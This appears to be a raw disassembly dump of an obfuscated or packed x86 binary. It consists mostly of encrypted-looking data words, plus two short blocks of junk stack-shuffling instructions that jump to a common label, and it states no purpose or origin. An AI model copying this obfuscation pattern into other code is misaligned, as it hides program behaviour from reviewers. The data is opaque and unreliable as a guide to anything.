dd 3C68308Dh, 0A9B58909h, 89093530h, 3516298Dh, 51006A09h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 0F6B8A5B6h, 6F2FC5B3h, 9509808Eh, 935255Dh, 287D85C7h
dd 61A80935h, 958B0000h, 9350D91h, 225585C7h, 935h, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 0D440FC3h, 0D15B5FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 0FF70FC3h, 385h, 88CF8000h
dd 0D0595FFh, 870F0935h, 1Bh, 0FE8h, 37EBBE00h, 386FC910h
dd 34AA450Eh, 2001E6D0h, 1601BD8Bh, 6A5B0935h, 2995FF00h
dd 8B093508h, 954CEBC0h, 967AD5A6h, 0D03CCF6Ah, 2E24EE5Eh
dd 0C6E79584h, 73C3FA63h, 4FC9308Bh, 94F02D77h, 2EF86C4Dh
dd 46780610h, 0C9A41EBFh, 5D0D268Bh, 4B13ED1h, 0E2184FA4h
dd 92EA333h, 9EA62C7Bh, 3B436903h, 0C15ACAE6h, 2582DF06h
dd 0EB8021DAh, 0D23BD904h, 540E91Ch, 99BB0000h, 84995F3Ch
dd 67F8801Dh, 0C75F217Ah, 1E17C9D2h, 6019227Bh, 7526B3AAh
dd 306D6803h, 7429B6A8h, 366770ECh, 1EA43A92h, 1A12F9D9h
dd 0A7BB4589h, 4713BA3Ah, 0D143AE2Bh, 418D4158h, 364119A3h
dd 378B0D1Ch, 0B1D77F84h, 0FDDA1A45h, 130AE77Bh, 7E96B86h
dd 0CDE478ECh, 97426407h, 0BE608CBh, 0C0D95567h, 0D547AF31h
dd 738D4158h, 9716DEFBh, 658C0D25h, 0A15F7AF3h, 4BE11089h
dd 0DE2FCABAh, 4EE2957Fh, 26624C51h, 363A5278h, 54A0461Ch
dd 465744DAh, 0F4FF9C92h, 3EEEB80h, 29DCC815h, 6FF1AA37h
dd 587DF6F3h, 8D082799h, 0E20CE266h, 3A3E810Fh, 0B2431C36h
dd 0C409C2h, 14A68950h, 0F4787B1Ch, 7C5900h, 153A0000h
dd 0AD2847B9h, 36418D37h, 8F67891Ch, 3498011Dh, 0EC08958Ah
dd 41EFD765h, 25F81C36h, 0F9EF1E3Fh, 178894Fh, 57000000h
dd 0A12BB915h, 9F1C3641h, 3641BB01h, 9B29AF1Ch, 0F26FE115h
dd 2954F6B9h, 3DB3633Ah, 77EE10B6h
dd 5189262h, 4BE3559Ch, 0DF3EA34Eh, 0E6FCD0F5h, 1C3545DCh
dd 0AC1ED6D8h, 0E8A428B1h, 354610BAh, 0EAD00E1Ch, 0DE1C3545h
dd 10E40AB8h, 30A9C53Bh, 2E47C86Bh, 59D448ABh, 0D243B140h
dd 7B1E17E2h, 0D5C25E22h, 28B5AA1Eh, 977DE8C9h, 4FFF67B6h
dd 39672389h, 1C364C93h, 0E6956187h, 9Dh, 0BB2E47A5h, 7B73AA7h
dd 2D702E4Dh, 8E608EFEh, 6E548A3Eh, 741C35ACh, 35AC842Eh
dd 645E801Ch, 0B92BB242h, 0F7220DA6h, 0AE1D3965h, 0D94CB140h
dd 900920EBh, 0BDDC550Bh, 97309036h, 86FCF6A0h, 7445E71Fh
dd 0A7546C4Ch, 35F3D3F9h, 0CF21C71Ch, 1CBDB527h, 0AE81D0B0h
dd 0EEC397CCh, 33426D07h, 0B242AC13h, 0E9DB4A2Bh, 0B802A0ECh
dd 0AA1C3605h, 0AD5EA423h, 16982ADEh, 811F3EDEh, 44688950h
dd 27000000h, 48AB2E47h, 913D5AD4h, 0BFC99031h, 65913D08h
dd 0CFB546DEh, 0E7B4253Ch, 0BF2A4744h, 36BD33A6h, 216A3090h
dd 0A05B47A5h, 3EF7BE54h, 0EFFE1C36h, 0FD094405h, 85E894Fh
dd 28000000h, 0FAF99E96h, 47DF7E76h, 0D246AD28h, 0C2B2415Eh
dd 87986351h, 1CD811Ah, 7D7461FFh, 41E3E9FBh, 0E1D71C36h
dd 579F5148h, 0AD21F9CCh, 41F9C3E1h, 0EBED1C36h, 96415F0Bh
dd 6A150363h, 0F709AD44h, 1EA43A79h, 1A13011Bh, 15975A94h
dd 0F6F36FE1h, 51675B78h, 0AECEAC1Ah, 0DAD4C927h, 9F524FE0h
dd 0CB67D91Dh, 319523CEh, 3D13005Ch, 6D01F4E0h, 0BDB12774h
dd 589B3C34h, 8B21AD4h, 0E5678A17h, 21E9211h, 46EE5E95h
dd 0DA1ABFB4h, 70EC9F85h, 5C159F45h, 8F111300h, 0DE536D61h
dd 0E504B295h, 96589ACFh, 401DD95Bh, 8571438Ah, 1282492h
dd 2E630000h, 0D50BC39Bh, 15035F4Eh, 16A824CAh, 0F3757C19h
dd 14087C03h, 0D24E128Bh, 0A6BA2EC5h, 2A46BA39h, 5CD246ADh
dd 0D04DB43Fh, 920301E4h, 31BA5A2h, 1DD95B96h, 89128FA3h
dd 851664A9h, 560392h, 15C40000h, 576B76EBh, 0C3D5E586h
dd 25B04489h, 0D00EBE8Eh, 1C35BA1Ah, 8C4088Eh, 35B9F0DAh
dd 32C2E41Ch, 0B9971DABh, 57AE1C35h, 2C2A816Dh, 0DF1D24EAh
dd 16B63812h, 35757288h, 0F970861Ch, 0ABE0EE0h, 3575EED4h
dd 8B08261Ch, 0B8DEE468h, 8F235F3Ch, 64000000h, 43959B2Eh
dd 0C80C961Dh, 0EDE8837Dh, 0FDFFCB03h, 0ED837366h, 1503534Ah
dd 4C34983Eh, 22E6459Fh, 0F06F8764h, 0A6F7E07Ch, 7166FE00h
dd 8A170B85h, 13C8D967h, 0B7441301h, 0B9263ACDh, 0D8B003E4h
dd 0FB85AEF4h, 597F0BD4h, 0BB8CF49Ah, 0EE5E0A7Fh, 0B5A923D3h
dd 0D2ECA02Ch, 32B63D5Ah, 2CDE0AB0h, 1CD8FE1Ch, 4E36A795h
dd 45123989h, 390EBC4Dh, 0A59F2ABDh, 0B211BBE9h, 0E3051C2Ch
dd 2CB1BB01h, 0C729AF1Ch, 9A74D907h, 46681500h, 0EB157655h
dd 5876A77h, 7B5366F1h, 29A88D53h, 14A6150Ah, 0EF718019h
dd 77575907h, 1E92DF47h, 0DC530D18h, 0C0E43749h, 0E46B8B65h
dd 0FBF07E3Eh, 277DAA3Bh, 0D8C15DCFh, 0C8213DC3h, 4BA64851h
dd 0CC34D7A7h, 40A6EB67h, 9B7C1EB4h, 0BCB4009Bh, 0CD64D81Bh
dd 5DA325CCh, 821AD9C0h, 53B8B3A1h, 1B17E2D2h, 0CC428150h
dd 0AC42BEF1h, 0ECF569EFh, 0FE9B9305h, 0AC9805F3h, 3F5C45D9h
dd 0B53CA5B9h, 3CDh, 844FFE00h, 41B01547h, 0AB4653CFh
dd 37BA2739h, 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h
dd 0BF32AFC0h, 2AC9D04Dh, 0E389535Dh, 4C381h, 0EB810000h
dd 4, 5C241C87h, 68240489h, 4F19h, 50242C89h, 405E089h
dd 2D000000h, 4, 5C240487h, 51241C89h, 3C688CB9h, 8BCD8909h
dd 0C481240Ch, 4, 241C8B54h, 4C481h, 55510000h, 78240481h
dd 59522E55h, 5578E981h, 4B89522Eh, 34FF5908h, 0C4835B24h
dd 242C8B04h, 5E08950h, 4, 405h, 24048700h, 110EE95Ch
dd 7B2FFFF9h, 47B8A7DAh, 3093C6Dh, 14E0FFC5h, 1A75CFE0h
dd 0D44921EFh, 0C6271593h, 25A5AF3h, 787896C9h, 820D1A87h
dd 0F8655923h, 7452D687h, 81083455h, 0F029FE94h, 0F86B78ECh
dd 721994F1h, 7E642353h, 44794231h, 425521B7h, 0E53478C7h
dd 0D476775Ah, 0DB1FF81Ch, 0A215B3EEh, 7D0FBE48h, 8C6003A2h
dd 0BF26981Ch, 465CDE2h, 0EB786F12h, 0B52CF704h, 50CE954h
dd 55070000h, 0B8B52B70h, 6B047C21h, 0B3AB2D6Eh, 6A037526h
dd 14652E6Fh, 0C1DAFF76h, 0ECB1243Fh, 0C0DDFA74h, 0E2BB2438h
dd 0BA009EEEh, 0AE12F9D3h, 2B479E1Dh, 416C568Ch, 46681C36h
dd 1BA549A8h, 0A7579A07h, 5EB1BB8Ah, 0E511DF87h, 0B6E7F26Bh
dd 42B12E42h, 0DE5552CEh, 279935BBh, 14819E0Bh, 5E955BDDh
dd 21931ADAh, 0F75E950Ch, 57CBBEA6h, 26507A28h, 0A2441C36h
dd 97894F4Ch, 0F19D910Ah, 362709B3h, 25DBFD1Ch, 0F5678F0Ah
dd 21935E7Bh, 74648F0Ah, 5CACF0D0h, 64DCFFE3h, 0A6514390h
dd 0CE920B88h, 1EAE4552h, 1C355097h, 60654F9Eh, 0CEA3C65Eh
dd 0DE4A2530h, 696D559Bh, 332AA0FDh, 729B43B3h, 0F88950A4h
dd 886C6906h, 43E1h, 2B47B200h, 11B543AEh, 161C3642h, 113C1D07h
dd 56894FFAh, 1, 0AF2A4735h, 445DD044h, 0B6233BADh, 9D87D63Bh
dd 316A77EAh, 7526B3AFh, 980EF1D1h, 0FEF5E07Fh, 2981467Ah
dd 9B0418E6h, 8120D458h, 48AB2E47h, 0D85059D4h, 41BD079Dh
dd 37B91C36h, 259737B9h, 0E3658C0Dh, 5A99001Dh, 319F1ED6h
dd 6C05F0E4h, 412F954Bh, 852B1C36h, 0C259636Bh, 0A73229D7h
dd 4F2CC84Ch, 0E50C9589h, 12E1FC73h, 0C65D5F2Fh, 589C20D3h
dd 1D40190Bh, 6D895000h, 0C0DD53h, 0AE2344CCh, 14C333CAh
dd 5Fh, 0AB2E4773h, 3E5BD448h, 0B02941B3h, 4653CF41h, 0E4D03DABh
dd 0AB990C01h, 4B5049E0h, 110D9C95h, 0E78B6688h, 0BB3B5ED5h
dd 1CB02941h, 0E1108DA2h, 3518975Fh, 0DA03C4B0h, 0B0894FFFh
dd 0C69487D0h, 0FBFB496Eh, 2D4Ch, 2E477B00h, 829923ABh
dd 0EC60DF17h, 0F68E6572h, 0D54C3F25h, 47F4D7C4h, 0B444AF2Ah
dd 1C364211h, 3E1F0518h, 894FFA0Fh, 158h, 28473700h, 416F558Bh
dd 456B1C36h, 58D448ABh, 57C4B43Fh, 28859A6Dh, 0D64AA936h
dd 3CB23C59h, 5D35805Fh, 8EA31D71h, 824DE313h, 76150363h
dd 130F8170h, 0BFDC6058h, 30BEF85Dh, 6079F56Bh, 5ED3ED91h
dd 2DC3DE53h, 1CB242C6h, 13009798h, 9A6D57A4h, 0FC841986h
dd 87C7760h, 0F8688B14h, 52CEB9ABh, 1B725845h, 4C9285A4h
dd 15Ah, 73EB157Bh, 0ED098B66h, 37974F5Ah, 35E82A9h, 0EE807615h
dd 80736E01h, 7DFFF2FCh, 0FCF2EF83h, 0D0EF83F5h, 0E1FCAEF0h
dd 0F8EAE075h, 1300CED2h, 0CDCE20C6h, 3A68170Bh, 1300CE90h
dd 658C6284h, 8F627FF3h, 3C0B421h, 0CEB319C7h, 0DFA71300h
dd 0CEFBC1h, 7E9EF13h, 0F8E17DEFh, 6C5EAFA3h, 43099285h
dd 0C5000000h, 0DAF1DB09h, 0D3E51300h, 2DAF425Fh, 2E8C33C3h
dd 3F5AD787h, 0EAD00EB4h, 0DE1C3641h, 14B836B8h, 364214CEh
dd 0E30E901Ch, 36416F55h, 0B59F861Ch, 8A4202A9h, 36419E54h
dd 7941A1Ch, 0B1DBh, 9B2E2C00h, 0BBF0BC3h, 3641EFD5h, 3997EB1Ch
dd 35586425h, 3DD323CDh, 1502BBFAh, 9CE4E8EEh, 6D914456h
dd 9B22D28Ah, 20AC3529h, 0AC8C366Ch, 66881300h, 0D7388C5Ah
dd 0AEAD561h, 2AB7AB2Dh, 795B23C7h, 6875EA76h, 0FC1C8F58h
dd 4FA812D0h, 0FA9C1300h, 503364FAh, 4CD91300h, 28B1AD58h
dd 9C1D473h
dd 39A21FC5h, 1CC20BD4h, 0D2CF63D5h, 79EDC2FAh, 0D1F1EE82h
dd 0A84CCDF3h, 1ABFB729h, 0D0C965D7h, 7262B321h, 25690D77h
dd 2CFD357Fh, 47AF311Ch, 53660AFAh, 0E50B968Bh, 0E81EBBE9h
dd 0A2D61500h, 1302401h, 0ED847ABEh, 6D8305ECh, 9B2E7B30h
dd 0FCD50BC3h, 0F8150A2Bh, 9589FBF6h, 0F3978F0Ch, 0F9D407ADh
dd 0B5203F12h, 0E608BA3Eh, 559C0518h, 0B5A923D3h, 737C52Ch
dd 383882AFh, 1EA43A8Eh, 1AC78110h, 21136094h, 0E0BDDA56h
dd 589B0418h, 881108B2h, 5D78F769h, 18DC1296h, 9ADB8EA6h
dd 4DA6C974h, 77791C17h, 6B795579h, 0C780EB61h, 0F1009991h
dd 0A353556Fh, 0F5DF2C1Ch, 0DCE6FCD0h, 14C780EBh, 0A0467C1Dh
dd 6946DA54h, 5F7AF7F2h, 13DE1094h, 0BA3E5F91h, 6B9539A6h
dd 8F0EE6F3h, 435ED1EBh, 0E0C82CB0h, 14h, 32AD1531h, 0A86D5544h
dd 0D7A02AB8h, 12941C35h, 0E3AE18DCh, 41B01547h, 0AB4653CFh
dd 37BA2739h, 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h
dd 0BF32AFC0h, 2AC9D04Dh, 6704685Dh, 3C890000h, 0E2895224h
dd 4C281h, 0EA810000h, 4, 5C241487h, 68241C89h, 14BFh
dd 68240C89h, 6C9E5AB9h, 81DBF75Bh, 851B2FCBh, 2FF3815Eh
dd 68D6D9D1h, 75F7h, 81242489h, 42404h, 81590000h, 4ECh
dd 241C8900h, 8B08418Fh
db 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_5464A4
; ---------------------------------------------------------------------------
db 1, 32h, 46h
dd 483FFE11h, 33F63807h, 0C7B87EF7h, 3093C72h, 42E0FFC5h
dd 667FB6FCh, 0FD01ABD9h, 0FA0C9656h, 0DD3152EAh, 0F90E053Ah
dd 0EB27E349h, 10h, 3 dup(0)
dd 0E9C08B00h, 14h, 5F70E0B8h, 92707DFEh, 92347CFAh, 0DF91E776h
dd 0D4693A27h, 26A1BD83h, 75000935h, 79BD8309h, 93530h
dd 53501974h, 2DB8C08Bh, 89000004h, 352AC185h, 389D8D09h
dd 0FF0937B4h, 83585BD3h, 353079BDh, 17740009h, 2DB85350h
dd 89000004h, 352AC185h, 279D8D09h, 0FF0937B1h, 89585BD3h
dd 3526C1B5h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 0F73B12C0h, 0F4845F16h, 0F78B66CCh
dd 0C08BD78Ah, 8D0Fh, 8D8B0000h, 9350B45h, 29A5958Bh, 0F9830935h
dd 79840F00h, 53000000h, 645AF38Bh, 2C3D8Bh, 66600000h
dd 0C662DA81h, 0FD6BBB66h, 0FFF0B61h, 5B84h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 0B4A1645Fh, 0F21C370h, 6A3F8BC7h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 7854C350h
dd 0C032F894h, 2CC98D29h, 0AAF30935h, 225D958Bh, 95890935h
dd 93525C9h, 50414935h, 51006A53h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 2BDD4CD4h, 8B49DB91h
dd 0DE9D6h, 43CC0000h, 0FC9C2E2Ch, 79765CA1h, 0C6293AE7h
dd 35179D85h, 0CE814709h, 67FA329Dh, 685EF551h, 96D8B9DDh
dd 68B0F57h, 50000000h, 5A310F52h, 34815E58h, 0E31F124h
dd 0B5FFF54Ah, 935167Dh, 2A6DB58Bh, 858D0935h, 9387B70h
dd 8BF0B70Fh, 6AD0FFF2h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 1E74C356h, 186DF473h
dd 4898589h, 85890935h, 9352F89h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 0FAC35747h, 0AAD5D6B7h, 16454264h
dd 880F9Dh, 0C6000000h, 35179D85h, 6A5309h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0E911CAC3h
dd 8, 0DDCFF130h, 9212217Ch, 4E8h, 986AFC00h, 50D08B88h
dd 14E8h, 2E4BD900h, 0E65ED801h, 8CF65BF7h, 0C6F8546Eh
dd 1C8D1CEEh, 10E9DAh, 0B53A0000h, 9DBE44AAh, 71AF50FCh
dd 3BE85EC2h, 8B5AEC55h, 60042444h, 0E8DE32BAh, 8B614Fh
dd 4244489h, 8B58F38Bh, 7DB5FFF2h, 80093516h, 858D52D6h
dd 9387B70h, 10CDB58Bh, 958B0935h, 9352C51h, 0BD89D0FFh
dd 9350DF9h, 3D39858Dh, 6A0938h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 858941C3h, 9351EA1h
dd 0E4C28166h, 6D958B44h, 6A093527h, 0FFFF6A20h, 351EA195h
dd 41493509h, 85C75350h, 93515F9h, 1, 227585C7h, 935h
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 0B7B791C3h, 85A5158Dh, 0F2462D8h, 6AF7BFh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 6B4BC4C3h, 0A595D2DCh, 59B58B05h, 89093502h, 351D8595h
dd 65BD8309h, 93523h, 8A840Fh, 0EA810000h, 0A1342A4h, 0F9858BFCh
dd 0E909351Bh, 11h, 0A6E01EE3h, 37FB4C4Ah, 4F92CF20h, 5D4E1BC6h
dd 0A36494h, 8B000000h, 352D1195h, 0D858B09h, 6A09352Dh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 0C1CFC352h, 80B8AFA1h, 8D3137DDh, 9351061h
dd 6AE08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
dd 55450000h, 0AF8FE2C3h, 0B16C3446h, 9589006Ah, 9350C19h
dd 539BD83h, 0F000935h, 35A85h, 0F28B6600h, 179D85C6h
dd 0F560935h, 0D568F6BFh, 604B9163h, 95BE5250h, 0F31A0E2h
dd 870F31h, 5A000000h, 8C0F6058h, 0
dd 4816161h, 33CD0A24h, 7DB5FF5Eh, 1093516h, 3503918Dh
dd 70858D09h, 0E909387Bh, 0Fh, 0D60BD8C4h, 5E306AC1h, 1934D9CEh
dd 0FF233FDFh, 0F6B70FD0h, 1161B529h, 89500935h, 6E92404h
dd 0B7000000h, 3A7EF057h, 0A58D8D0Ah, 8B09352Eh, 666050D6h
dd 8961DA8Bh, 0B523240Ch, 93503B5h, 8B0Fh, 46A0000h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0D0C35747h, 7E96D8Ah
dd 1E000000h, 0C869A611h, 0A168AAD0h, 0B253277Dh, 243481E6h
dd 53276DA1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 15h, 2C35242h, 0E9B5FFD9h, 0F093531h, 683h, 4DB58B00h
dd 0FF093511h, 68C0FD0h, 3000000h, 35003D95h, 1B58B09h
dd 8B093508h, 3531E9BDh, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 7F0386D8h, 58E0F3Ch, 66000000h
dd 0ADA2E281h, 0F8C781h, 0CE800000h, 8D89606Ch, 93502E9h
dd 68A0Fh, 0BD890000h, 935235Dh, 2447C761h, 60000020h
dd 0BD83D68Bh, 93C736Fh, 15840F00h, 0F000001h, 687h, 850F00h
dd 83000000h, 0D78B28C7h, 6A2E07C7h, 0BE666469h, 47C72942h
dd 61746104h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 0ECD80FECh, 0F2BF0FA7h, 7377858Bh
dd 6A093Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 7866BC3h, 0A50F6F16h, 0C4789B7h, 26B9B58Bh
dd 858B0935h, 93C737Bh, 0CE8h, 0D12B9D00h, 6D87557Ch, 6EC09D9h
dd 69B58B1Ch, 5E09350Fh, 38C0Fh, 0BF0F0000h, 84789D6h
dd 89A4BE66h, 8928C783h, 3503AD85h, 2E07C709h, 0C76E6F63h
dd 69660447h, 0BF0F0067h, 73858BD0h, 0B6093C73h, 12880F8Eh
dd 0E8000000h, 9, 512B1DBEh, 0EF477632h, 0A8C28027h, 0C47895Eh
dd 8BF7BF0Fh, 3C736F85h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 669B7B9Eh, 89B097BEh
dd 0DA810847h, 209FD029h, 0D9D8958h, 8D093523h, 352A598Dh
dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 0CE9B6h, 0A3B10000h, 0F669FCA4h, 57C56BF2h
dd 6650E3EEh, 0C89D78Bh, 0BD336024h, 9350E19h, 0A5B5FF61h
dd 8909352Eh, 35123595h, 4E809h, 10000000h, 5E90000h, 0E4000000h
dd 8D40D9B2h, 8BD38B50h, 0E9042444h, 11h, 0C7DC6EE4h, 7E0EA353h
dd 0E959AFC8h, 31B5AB1Bh, 66008B80h, 89F80BBEh, 60042444h
dd 3F70F3BEh, 0D08B6643h, 29525861h, 3503958Dh, 0B5FF5E09h
dd 93531E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 2CC35141h, 0A19A0288h, 0D0FFF592h, 3A0ABA57h, 0B85A7E0Ah
dd 0
dd 0BD7BF0Fh, 25840FC0h, 0F000000h, 68Ah, 0B98D8900h, 0FF093512h
dd 352AD9B5h, 1810F09h, 0F8000000h, 0D0595FFh, 0BD890935h
dd 9352745h, 958BC08Bh, 9351219h, 26A1BD83h, 75000935h
dd 79BD8309h, 93530h, 53501974h, 2DB8C08Bh, 89000004h
dd 352CA985h, 9F9D8D09h, 0FF0937B4h, 83585BD3h, 353079BDh
dd 17740009h, 2DB85350h, 89000004h, 352CA985h, 409D8D09h
dd 0FF0937B1h, 0E8585BD3h, 9, 893C76F9h, 33F1AC7Bh, 0F7B70F78h
dd 57006A5Ah, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h
dd 0C3574700h, 66298D23h, 8B66AABAh, 0F3BF0FC0h, 4EBC08Bh
dd 6BED3443h, 58AE9h, 2D8AA800h, 6C75E870h, 2BB6A92Fh
dd 6176EE72h, 2CADC43Ch, 33D7A46Fh, 7AFE9F3Ah, 31A7F4E1h
dd 87F9A23Fh, 0FBADEEEBh, 0C6A70DD3h, 0F2A312F9h, 0AE2B47D1h
dd 4158D143h, 447F358Dh, 0BFE152DAh, 829E6237h, 628C0D25h
dd 3A801E6Ah, 2E1C357Fh, 21C54CA8h, 0E212879Fh, 66FBF468h
dd 0D8F4787Bh, 358000CAh, 0FCF2F41Ch, 0F3EE83F5h, 5148E1DBh
dd 66B71EA5h, 0B429597Eh, 0E0D80B07h, 0F239D59h, 508E3A92h
dd 1C35FF6Ah, 0DFBC385Eh, 19A0719h, 0FDF4E17Fh, 0EE05908Bh
dd 68636FEh, 746D3572h, 0DFC51ADAh, 0F8A5322Ch, 24B5AC4Eh
dd 0E6D0FAA8h, 22C41C35h, 0DBC458D2h, 0E6458818h, 0B94C1C35h
dd 54BB12CBh, 7BAC8950h, 0DB000000h, 43AE2B47h, 364211B5h
dd 1D07161Ch, 0C4768838h, 950518C9h, 534DF42Dh, 1ED60C6Dh
dd 50804F7Eh, 11889h, 47770000h, 34A1BF2Ah, 699337BAh
dd 0B01AC8F7h, 0A41C3641h, 9608EC02h, 80150E9Bh, 1911836Eh
dd 420C7180h, 0AB84787Ah, 6B8BE626h, 0C65B2E16h, 0F20CC2DBh
dd 0E92617Eh, 0B1F874E6h, 5D20ABF1h, 0E14E90F6h, 4DCDD081h
dd 56504DA3h, 0AC466C32h, 9C421C35h, 2E47B958h, 59D448ABh
dd 263FB140h, 51CC40B3h, 0EA3BA948h, 84110FFAh, 594B986Ah
dd 7922B7AEh, 5E6E6B07h, 0AF347C1Eh, 0AE50B6EBh, 51D024B1h
dd 795540DFh, 8ECE987h, 573DA889h, 50182776h, 0C4596389h
dd 6D7219DDh, 21000000h, 23AB2E47h, 0DA1A8799h, 534EE153h
dd 0F5EC817Bh, 0CA1B8201h, 0A3362FDAh, 0FAEF86FAh, 0C87A7966h
dd 3FBAEB83h, 905E9032h, 18D9843Ch, 0CD7C481Ch, 3E36AA29h
dd 938B3599h, 8E6FEE06h, 0F12C2D17h, 968950D5h, 51h, 0AB2E47F5h
dd 3D5AD448h, 14A61EB6h, 0F2767D1Ah, 6E85120Ch, 0CFB50AEAh
dd 18B4253Ch, 0E80B88A6h, 18BB9064h, 44AF2A47h, 364211B4h
dd 842F431Ch, 0B553D324h, 11E00E31h, 824819Fh, 0A292618Fh
dd 2BA84331h, 9CF1EADAh, 0CB8950DBh, 1, 0AD2847FCh, 515ED246h
dd 0AB2DC4DDh, 4DBEAE45h, 78266267h, 1C364152h, 41289250h
dd 7A1C1C36h, 0DC4EA648h, 46765643h, 0C5790F42h, 0CDAA4AB2h
dd 0DFEFA7F2h, 34416C1h, 0E496EA15h, 0B95A375Ah, 3EB241AFh
dd 70E8B522h, 0ED21B5FCh, 6098578h, 296509E8h, 0E8FA9F97h
dd 1300A8E2h, 8E24D0D6h, 1300A826h, 0CFFE536h, 62168710h
dd 0AE22D1CEh, 0E5A925B2h, 0A8F5BFh, 7EFF113h, 0C741888h
dd 75CBED7Ch, 6C00FE67h, 0F8FC8073h, 52CEB9ABh, 1B725845h
dd 4C9285F2h, 165h, 0EDEA8476h, 9B2E6A09h, 4ED50BC3h, 0D415035Fh
dd 1E77322Ah, 54EE7DB5h, 0E66A8967h, 0B33E600Eh, 0AAC42D41h
dd 0F4DAC32Dh, 7E2453CAh, 13010334h, 0B440AE30h, 3AB9263Ah
dd 0CCFFAAC6h, 66551FC5h, 5BC928C6h, 0E118CBB3h, 8BB0266Bh
dd 5B2E166Bh, 0C8F2DAC7h, 0DAAF4750h, 856C95F8h, 372BD592h
dd 31C547AAh, 4D8Ah, 872E4900h, 1DC307C7h, 1C364197h, 45E90D93h
dd 3641459Fh, 0D8516B1Ch, 50AE32C1h, 8937BFD8h, 0B6FC8C67h
dd 0CD1C3641h, 9A04C38h, 95399539h, 3641654Fh, 0A53F611Ch
dd 1C36411Fh, 0BD61951Bh, 3641CD27h, 0D6C7E91Ch, 0B0ACh
dd 0AD15DD00h, 9B37254h, 7948AB1h, 2F7A0DE9h, 6495777h
dd 0FA1502CCh, 4BE6D8F4h, 0B527A64Eh, 763D30B9h, 0C52323F8h
dd 2ED01E11h, 504DA330h, 0C30B9488h, 56CA2739h, 0C826AA49h
dd 8217A52Ch, 8A130105h, 6C008B79h, 0E5235B73h, 922C1040h
dd 9E886591h, 6094051Ch, 0C20AC2D5h, 0D43C041Ch, 4E7E200Bh
dd 0BB5E647Ah, 545A1C2Ch, 517D21A0h, 2CBB2993h, 81881B1Ch
dd 0C1D550DBh, 9F25BB03h, 9B1C2D03h, 0A11BDB15h, 8B0C248Dh
dd 2D9E8E65h, 0E7788247h, 678A170Ah, 64E80BE5h, 0DAB20590h
dd 0FB74ACF2h, 6E701500h, 0D2C75C5Eh, 84599D1Fh, 0C7AD15CFh
dd 0E02B0275h, 0E2B540B4h, 518A22Ah, 0EEB4589Ch, 15097632h
dd 9E20AC32h, 5DE41085h, 626A77EBh, 89527826h, 0B04612F9h
dd 28CC22BFh, 8918D53h, 3F5C5BE9h, 9C0975ABh, 5841DDA8h
dd 38A1BD43h, 2BB915B9h, 0B04934A1h, 69E31395h, 7A67F8F1h
dd 0C9A97246h, 24CA5D65h, 0D7C25BCDh, 2BB4A81Ch, 998BD8C8h
dd 8E6075EEh, 0CABDA7F4h, 0E9C05956h, 70836D74h, 4CAE14CAh
dd 4AAB048h, 7F1814EAh, 0CEFEF074h, 746D00FAh, 0E3E9FB7Dh
dd 0D7B0484Ch, 9C524FE1h, 61FD8358h, 4C824856h, 7076B048h
dd 38B737Eh, 0BC000000h, 1547844Fh, 53CF41B0h, 2739AB46h
dd 0AEC537BAh, 0DD54C82Bh, 0AAC335BCh, 0D850C42Fh, 0AFC034BFh
dd 0D04DBF32h
db 0C9h, 2Ah, 5Dh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
mov ebx, 3BDB7551h
add ebx, 0C4248AB3h
add ebp, ebx
pop ebx
sub ebp, 4
xchg ebp, [esp]
pop esp
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebp
push 93C7B9Fh
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
sub esp, 4
mov [esp], edx
pop dword ptr [ebp+8]
push dword ptr [esp]
pop ebp
add esp, 4
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5464A4
; ---------------------------------------------------------------------------
db 92h
dd 0B8B2D020h, 93C8099h, 0E0FFC503h, 46B7021Ah, 5585ECABh
dd 5828D08Ah, 5C0EE176h, 79B7548Fh, 234375F3h, 1DF8D7E5h
